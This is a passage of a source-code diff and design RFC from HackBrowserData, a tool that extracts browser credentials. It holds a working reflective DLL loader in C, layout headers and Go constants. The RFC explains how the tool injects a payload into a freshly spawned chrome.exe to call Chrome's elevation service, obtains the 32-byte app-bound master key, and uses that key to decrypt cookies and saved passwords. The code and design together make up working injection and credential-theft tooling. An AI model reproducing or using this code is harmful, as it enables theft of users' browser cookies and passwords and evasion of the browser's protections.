*target += (ULONG_PTR)delta;
|
||||
}
|
||||
}
|
||||
consumed += reloc->SizeOfBlock;
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
if (delta == 0 || relocSize == 0 || relocRva == 0) return;
|
||||
|
||||
PIMAGE_BASE_RELOCATION reloc =
|
||||
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
|
||||
DWORD consumed = 0;
|
||||
while (reloc->VirtualAddress && consumed < relocSize) {
|
||||
DWORD count =
|
||||
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries =
|
||||
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD j = 0; j < count; j++) {
|
||||
WORD type = entries[j] >> 12;
|
||||
WORD offset = entries[j] & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_DIR64) {
|
||||
ULONG_PTR *target = (ULONG_PTR *)(newBase +
|
||||
reloc->VirtualAddress + offset);
|
||||
*target += (ULONG_PTR)delta;
|
||||
}
|
||||
}
|
||||
consumed += reloc->SizeOfBlock;
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
// link_iat resolves the Import Address Table for each DLL the payload
|
||||
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
|
||||
// Go injector patched in.
|
||||
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
DWORD impSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
DWORD impRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
if (impSize > 0 && impRva > 0) {
|
||||
PIMAGE_IMPORT_DESCRIPTOR imp =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
|
||||
while (imp->Name) {
|
||||
const char *modName = (const char *)(newBase + imp->Name);
|
||||
HMODULE hMod = pLoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
DWORD origRva = imp->OriginalFirstThunk
|
||||
? imp->OriginalFirstThunk : imp->FirstThunk;
|
||||
PIMAGE_THUNK_DATA origThunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + origRva);
|
||||
PIMAGE_THUNK_DATA thunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk);
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
fn = pGetProcAddress(hMod,
|
||||
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
|
||||
(newBase + origThunk->u1.AddressOfData);
|
||||
fn = pGetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = (ULONG_PTR)fn;
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
imp++;
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
if (impSize == 0 || impRva == 0) return;
|
||||
|
||||
sec = IMAGE_FIRST_SECTION(newNt);
|
||||
PIMAGE_IMPORT_DESCRIPTOR desc =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
|
||||
while (desc->Name) {
|
||||
const char *modName = (const char *)(newBase + desc->Name);
|
||||
HMODULE hMod = imp->LoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
DWORD origRva = desc->OriginalFirstThunk
|
||||
? desc->OriginalFirstThunk : desc->FirstThunk;
|
||||
PIMAGE_THUNK_DATA origThunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + origRva);
|
||||
PIMAGE_THUNK_DATA thunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + desc->FirstThunk);
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
fn = imp->GetProcAddress(hMod,
|
||||
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
|
||||
(newBase + origThunk->u1.AddressOfData);
|
||||
fn = imp->GetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = (ULONG_PTR)fn;
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
desc++;
|
||||
}
|
||||
}
|
||||
|
||||
// set_section_protections applies final per-section memory protections
|
||||
// (.text → RX, .rdata → R, .data → RW) based on IMAGE_SCN_MEM_* flags.
|
||||
static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(newNt);
|
||||
for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) {
|
||||
DWORD newProtect = PAGE_READONLY;
|
||||
DWORD ch = sec[i].Characteristics;
|
||||
@@ -171,21 +204,60 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
DWORD oldProtect = 0;
|
||||
pVirtualProtect(newBase + sec[i].VirtualAddress,
|
||||
sec[i].Misc.VirtualSize,
|
||||
newProtect, &oldProtect);
|
||||
imp->VirtualProtect(newBase + sec[i].VirtualAddress,
|
||||
sec[i].Misc.VirtualSize,
|
||||
newProtect, &oldProtect);
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
}
|
||||
|
||||
pNtFlushIC((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
// lpReserved carries the original raw-image base so DllMain can write
|
||||
// the decrypted key back into the scratch region the Go injector reads.
|
||||
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
|
||||
// lpReserved carries the original raw-image base so DllMain (= the ABE
|
||||
// extractor entry) can write the decrypted key back into the scratch
|
||||
// region the Go injector reads.
|
||||
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
ULONG_PTR scratchBase)
|
||||
{
|
||||
pfn_DllMain pDllMain =
|
||||
(pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint);
|
||||
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase);
|
||||
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)scratchBase);
|
||||
return (ULONG_PTR)newBase;
|
||||
}
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
{
|
||||
ULONG_PTR imageBase = locate_own_image_base();
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
|
||||
resolved_imports imp;
|
||||
if (!read_preresolved_imports(imageBase, &imp)) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt;
|
||||
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
apply_base_relocations(newBase, newNt);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
|
||||
link_iat(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
|
||||
set_section_protections(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
|
||||
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -1,50 +1,9 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#ifndef HBD_ABE_BOOTSTRAP_H
|
||||
#define HBD_ABE_BOOTSTRAP_H
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// Scratch layout inside imageBase (the raw-file payload region in the
|
||||
// target process). Shared contract with the Go injector — keep the
|
||||
// offsets and meanings in sync with utils/injector/reflective_windows.go.
|
||||
//
|
||||
// 0x28 step marker (written by Bootstrap)
|
||||
// 0x29 key status (0x01 = ready, written by DllMain)
|
||||
// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers
|
||||
// post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
//
|
||||
// Windows' PE loader ignores the DOS stub region (0x40..0x77), and
|
||||
// Bootstrap only reads the imports once at function start, so DllMain
|
||||
// can safely overwrite 0x40..0x5F with the key afterwards.
|
||||
|
||||
#define BOOTSTRAP_MARKER_OFFSET 0x28
|
||||
|
||||
#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29
|
||||
#define BOOTSTRAP_KEY_STATUS_READY 0x01
|
||||
|
||||
#define BOOTSTRAP_KEY_OFFSET 0x40
|
||||
#define BOOTSTRAP_KEY_LEN 32
|
||||
|
||||
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40
|
||||
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58
|
||||
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60
|
||||
|
||||
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
|
||||
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
|
||||
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
|
||||
#define BOOTSTRAP_MARK_COPIED 0x07
|
||||
#define BOOTSTRAP_MARK_RELOCATED 0x08
|
||||
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
|
||||
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
|
||||
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
|
||||
#define BOOTSTRAP_MARK_DONE 0xFF
|
||||
|
||||
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
|
||||
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
|
||||
#include "bootstrap_layout.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
|
||||
// cgo -godefs layout_gen.go
|
||||
|
||||
package bootstrap
|
||||
|
||||
const (
|
||||
MarkerOffset = 0x28
|
||||
KeyStatusOffset = 0x29
|
||||
KeyStatusReady = 0x1
|
||||
ExtractErrCodeOffset = 0x2a
|
||||
HResultOffset = 0x2c
|
||||
ComErrOffset = 0x30
|
||||
KeyOffset = 0x40
|
||||
KeyLen = 0x20
|
||||
|
||||
ImpLoadLibraryAOffset = 0x40
|
||||
ImpGetProcAddressOffset = 0x48
|
||||
ImpVirtualAllocOffset = 0x50
|
||||
ImpVirtualProtectOffset = 0x58
|
||||
ImpNtFlushICOffset = 0x60
|
||||
|
||||
MarkMZFound = 0x2
|
||||
MarkImportsOK = 0x5
|
||||
MarkAllocOK = 0x6
|
||||
MarkCopied = 0x7
|
||||
MarkRelocated = 0x8
|
||||
MarkImportsFixed = 0x9
|
||||
MarkPermissions = 0xa
|
||||
MarkCacheFlushed = 0xb
|
||||
MarkDone = 0xff
|
||||
MarkErrImports = 0xe3
|
||||
MarkErrAlloc = 0xe4
|
||||
|
||||
ErrOk = 0x0
|
||||
ErrBasename = 0x1
|
||||
ErrBrowserUnknown = 0x2
|
||||
ErrEnvMissing = 0x3
|
||||
ErrBase64 = 0x4
|
||||
ErrBstrAlloc = 0x5
|
||||
ErrComCreate = 0x6
|
||||
ErrDecryptData = 0x7
|
||||
ErrKeyLen = 0x8
|
||||
)
|
||||
@@ -0,0 +1,50 @@
|
||||
//go:build ignore
|
||||
|
||||
// Code generation entry for scratch layout constants shared between the
|
||||
// C payload and the Go injector. Regenerate with `make gen-layout`.
|
||||
|
||||
package bootstrap
|
||||
|
||||
/*
|
||||
#include "../bootstrap_layout.h"
|
||||
*/
|
||||
import "C"
|
||||
|
||||
const (
|
||||
MarkerOffset = C.BOOTSTRAP_MARKER_OFFSET
|
||||
KeyStatusOffset = C.BOOTSTRAP_KEY_STATUS_OFFSET
|
||||
KeyStatusReady = C.BOOTSTRAP_KEY_STATUS_READY
|
||||
ExtractErrCodeOffset = C.BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET
|
||||
HResultOffset = C.BOOTSTRAP_HRESULT_OFFSET
|
||||
ComErrOffset = C.BOOTSTRAP_COMERR_OFFSET
|
||||
KeyOffset = C.BOOTSTRAP_KEY_OFFSET
|
||||
KeyLen = C.BOOTSTRAP_KEY_LEN
|
||||
|
||||
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET
|
||||
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET
|
||||
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET
|
||||
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET
|
||||
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET
|
||||
|
||||
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
|
||||
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
|
||||
MarkAllocOK = C.BOOTSTRAP_MARK_ALLOC_OK
|
||||
MarkCopied = C.BOOTSTRAP_MARK_COPIED
|
||||
MarkRelocated = C.BOOTSTRAP_MARK_RELOCATED
|
||||
MarkImportsFixed = C.BOOTSTRAP_MARK_IMPORTS_FIXED
|
||||
MarkPermissions = C.BOOTSTRAP_MARK_PERMISSIONS
|
||||
MarkCacheFlushed = C.BOOTSTRAP_MARK_CACHE_FLUSHED
|
||||
MarkDone = C.BOOTSTRAP_MARK_DONE
|
||||
MarkErrImports = C.BOOTSTRAP_MARK_ERR_IMPORTS
|
||||
MarkErrAlloc = C.BOOTSTRAP_MARK_ERR_ALLOC
|
||||
|
||||
ErrOk = C.ABE_ERR_OK
|
||||
ErrBasename = C.ABE_ERR_BASENAME
|
||||
ErrBrowserUnknown = C.ABE_ERR_BROWSER_UNKNOWN
|
||||
ErrEnvMissing = C.ABE_ERR_ENV_MISSING
|
||||
ErrBase64 = C.ABE_ERR_BASE64
|
||||
ErrBstrAlloc = C.ABE_ERR_BSTR_ALLOC
|
||||
ErrComCreate = C.ABE_ERR_COM_CREATE
|
||||
ErrDecryptData = C.ABE_ERR_DECRYPT_DATA
|
||||
ErrKeyLen = C.ABE_ERR_KEY_LEN
|
||||
)
|
||||
@@ -0,0 +1,99 @@
|
||||
#ifndef HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
#define HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// BootstrapScratch describes the IPC contract between the C payload running
|
||||
// inside chrome.exe and the Go injector in our own process. It squats inside
|
||||
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS
|
||||
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
|
||||
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
|
||||
// untouched so the PE loader can still find the NT headers.
|
||||
//
|
||||
// This header is deliberately free of <windows.h> so cgo -godefs can read it
|
||||
// on macOS / Linux to regenerate the Go-side constants.
|
||||
|
||||
typedef struct __attribute__((packed)) BootstrapScratch {
|
||||
uint8_t dos_header_prefix[0x28]; // 0x00..0x27
|
||||
|
||||
uint8_t marker; // 0x28: Bootstrap progress marker
|
||||
uint8_t key_status; // 0x29: 0x01 = key ready
|
||||
uint8_t extract_err_code; // 0x2A: ABE_ERR_* category on failure
|
||||
uint8_t _reserved_2b; // 0x2B
|
||||
|
||||
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
|
||||
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
|
||||
|
||||
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C
|
||||
|
||||
// 0x40..0x67: time-shared region
|
||||
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
|
||||
// post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
union {
|
||||
struct {
|
||||
uintptr_t LoadLibraryA; // 0x40
|
||||
uintptr_t GetProcAddress; // 0x48
|
||||
uintptr_t VirtualAlloc; // 0x50
|
||||
uintptr_t VirtualProtect; // 0x58
|
||||
uintptr_t NtFlushInstructionCache; // 0x60
|
||||
} imports;
|
||||
uint8_t key[32]; // 0x40..0x5F
|
||||
} shared;
|
||||
} BootstrapScratch;
|
||||
|
||||
// Byte offsets derived from the struct. These are the ONLY place raw numeric
|
||||
// offsets appear; every C and Go consumer uses these names (or the Go-side
|
||||
// constants generated from them via cgo -godefs).
|
||||
#define BOOTSTRAP_MARKER_OFFSET offsetof(struct BootstrapScratch, marker)
|
||||
#define BOOTSTRAP_KEY_STATUS_OFFSET offsetof(struct BootstrapScratch, key_status)
|
||||
#define BOOTSTRAP_KEY_STATUS_READY 0x01
|
||||
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
|
||||
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
|
||||
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
|
||||
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key)
|
||||
#define BOOTSTRAP_KEY_LEN 32
|
||||
|
||||
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA)
|
||||
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc)
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect)
|
||||
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache)
|
||||
|
||||
// Progress markers written by Bootstrap itself (enum-like, not offsets).
|
||||
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
|
||||
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
|
||||
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
|
||||
#define BOOTSTRAP_MARK_COPIED 0x07
|
||||
#define BOOTSTRAP_MARK_RELOCATED 0x08
|
||||
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
|
||||
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
|
||||
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
|
||||
#define BOOTSTRAP_MARK_DONE 0xFF
|
||||
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
|
||||
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
|
||||
|
||||
// Failure categories written by abe_extractor.c. Complements hresult: many
|
||||
// failures (env missing, unknown browser) have no COM HRESULT, so they need
|
||||
// a separate category code. 0 = no error / success.
|
||||
#define ABE_ERR_OK 0x00
|
||||
#define ABE_ERR_BASENAME 0x01 // GetOwnExeBasename failed
|
||||
#define ABE_ERR_BROWSER_UNKNOWN 0x02 // exe not in com_iid table
|
||||
#define ABE_ERR_ENV_MISSING 0x03 // HBD_ABE_ENC_B64 missing or oversized
|
||||
#define ABE_ERR_BASE64 0x04 // CryptStringToBinaryA failed
|
||||
#define ABE_ERR_BSTR_ALLOC 0x05 // SysAllocStringByteLen returned NULL
|
||||
#define ABE_ERR_COM_CREATE 0x06 // CoCreateInstance failed both v1 and v2
|
||||
#define ABE_ERR_DECRYPT_DATA 0x07 // IElevator.DecryptData returned failure HRESULT
|
||||
#define ABE_ERR_KEY_LEN 0x08 // DecryptData succeeded but wrong length
|
||||
|
||||
// Compile-time layout verification. Any drift here = build break.
|
||||
_Static_assert(sizeof(void *) == 8, "BootstrapScratch layout assumes 64-bit");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key_status offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
|
||||
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length");
|
||||
|
||||
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
|
||||
@@ -1,4 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
#include "com_iid.h"
|
||||
|
||||
// CLSID / IID values migrated from HackBrowserData-injector-old's
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#ifndef HBD_ABE_COM_IID_H
|
||||
#define HBD_ABE_COM_IID_H
|
||||
|
||||
|
||||
@@ -0,0 +1,329 @@
|
||||
# RFC-010: Chrome App-Bound Encryption Integration
|
||||
|
||||
**Author**: moonD4rk
|
||||
**Status**: Living Document
|
||||
**Created**: 2026-04-17
|
||||
**Last updated**: 2026-04-19
|
||||
|
||||
## 1. Overview
|
||||
|
||||
Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an *app-bound* blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`).
|
||||
|
||||
This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.**
|
||||
|
||||
Related RFCs:
|
||||
|
||||
- [RFC-003](003-chromium-encryption.md) — cipher versions (v10, v11, v20)
|
||||
- [RFC-006](006-key-retrieval-mechanisms.md) — `KeyRetriever` / `ChainRetriever`
|
||||
- [RFC-009](009-windows-locked-file-bypass.md) — other Windows-specific handling
|
||||
|
||||
### 1.1 Tested matrix (as of 2026-04-19)
|
||||
|
||||
Single source of truth for version pins and observed-working targets. When re-validating, update dates and re-run the regression flow documented in the author's private playbook (not in this RFC).
|
||||
|
||||
| Component | Contract | Last verified |
|
||||
|---|---|---|
|
||||
| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) | 1.20.14 |
|
||||
| Windows host | Any Win10 1909+ (PE loader + UCRT) | Windows 10 19044 |
|
||||
| Chrome family | Any v127+ (ABE introduced) | Chrome 147.0.7727.57 |
|
||||
| zig toolchain | 0.13+ (for `make payload`) | 0.16.0 |
|
||||
| Target arch | x86_64 only (x86 / ARM64 reserved) | x86_64 |
|
||||
|
||||
## 2. The constraint that shapes the design
|
||||
|
||||
`elevation_service` verifies the caller:
|
||||
|
||||
1. The calling process's main executable must be a **legitimate browser binary** (path in `Program Files`, signed by the browser vendor).
|
||||
2. Process integrity is checked via other sandbox gates.
|
||||
|
||||
Consequence: **the code that issues the `IElevator::DecryptData` COM call must be running inside a `chrome.exe` / `msedge.exe` / `brave.exe` process**. A plain Go process, even elevated, is refused.
|
||||
|
||||
The architecture therefore ships a small native payload, injects it into a freshly-spawned browser process, has it invoke the COM RPC, and hands the 32-byte master key back to the Go side. Everything else (v20 AES-GCM decrypt, DB iteration, JSON output) is already Go.
|
||||
|
||||
## 3. Architecture
|
||||
|
||||
End-to-end flow when `hack-browser-data.exe` encounters a v20 Chromium cookie on Windows:
|
||||
|
||||
**Stage 1 — Our process** (`hbd.exe`, `CGO_ENABLED=0`)
|
||||
|
||||
```
|
||||
browser/chromium.Extract()
|
||||
→ keyretriever.Chain [ABERetriever, DPAPIRetriever]
|
||||
→ ABERetriever.RetrieveKey():
|
||||
reads Local State → extracts APPB-prefixed blob
|
||||
resolves browser exe via registry App Paths
|
||||
→ utils/injector.Reflective.Inject(exePath, payload, env)
|
||||
```
|
||||
|
||||
**Stage 2 — Payload preparation** (still our process)
|
||||
|
||||
1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB).
|
||||
2. Patch 5 × `uintptr` function pointers into the payload's DOS stub (see §4.4).
|
||||
3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`.
|
||||
|
||||
**Stage 3 — Spawn + inject** (still our process, target is newly spawned)
|
||||
|
||||
```
|
||||
CreateProcessW(browser.exe, CREATE_SUSPENDED)
|
||||
VirtualAllocEx(target, RWX, sizeOf(payload))
|
||||
WriteProcessMemory(patched bytes)
|
||||
ResumeThread(mainThread) + Sleep(500ms) // let ntdll finish loader init
|
||||
CreateRemoteThread(target, remoteBase + bootstrapFileOffset)
|
||||
```
|
||||
|
||||
**Stage 4 — Inside the remote `browser.exe`**
|
||||
|
||||
The hijacked thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`:
|
||||
|
||||
```
|
||||
Bootstrap → see §4.1 (7 helpers + orchestrator)
|
||||
↓ calls DllMain(DLL_PROCESS_ATTACH, imageBase)
|
||||
DoExtractKey → see §4.2
|
||||
CoCreateInstance(CLSID, IID_v2 | fallback IID_v1)
|
||||
CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)
|
||||
vtbl[slot]->DecryptData(bstrEnc)
|
||||
↓ COM RPC
|
||||
elevation_service (SYSTEM) → returns 32-byte plaintext key
|
||||
publish_key() → imageBase[0x40..0x5F] (success)
|
||||
publish_error(code, hr, comErr) (failure)
|
||||
```
|
||||
|
||||
**Stage 5 — Back in our process**
|
||||
|
||||
1. `WaitForSingleObject(thread, 30s)` — covers cold-start of `GoogleChromeElevationService`.
|
||||
2. `ReadProcessMemory` for the 12-byte diagnostic header, then 32-byte key when `status == ready`.
|
||||
3. `TerminateProcess(browser)` — the target was a throwaway from the start.
|
||||
|
||||
The returned key flows back up to `crypto.DecryptChromiumV20` (cross-platform AES-256-GCM; see §5.3) and then to the usual cookie/password extraction pipeline.
|
||||
|
||||
## 4. C payload — `crypto/windows/abe_native/`
|
||||
|
||||
Three translation units, ~500 lines of pure C. No C++, no assembly, no direct syscalls, no vendored third-party code (Stephen Fewer's loader was evaluated and rejected — see §8.2). Built with `zig cc -target x86_64-windows-gnu`.
|
||||
|
||||
### 4.1 Reflective loader — `bootstrap.c`
|
||||
|
||||
`Bootstrap(LPVOID lpParameter)` exported as `__declspec(dllexport)`. The Go injector calls it at its **raw file offset** (not RVA) because we inject raw file bytes rather than a mapped image.
|
||||
|
||||
Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**:
|
||||
|
||||
| Helper | Responsibility |
|
||||
|---|---|
|
||||
| `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) |
|
||||
| `read_preresolved_imports` | Read 5 function pointers the Go injector patched into DOS stub (§4.4) |
|
||||
| `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections |
|
||||
| `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` |
|
||||
| `link_iat` | Resolve each imported DLL + fill IAT via pre-resolved `LoadLibraryA` / `GetProcAddress` |
|
||||
| `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` |
|
||||
| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, imageBase)` — `imageBase` is the scratch handoff pointer |
|
||||
|
||||
Progress markers: after each major step the orchestrator writes one byte to `imageBase + BOOTSTRAP_MARKER_OFFSET` (0x28, inside `IMAGE_DOS_HEADER.e_res2`). The Go injector reads this back on failure to pinpoint the stage.
|
||||
|
||||
### 4.2 COM extractor — `abe_extractor.c`
|
||||
|
||||
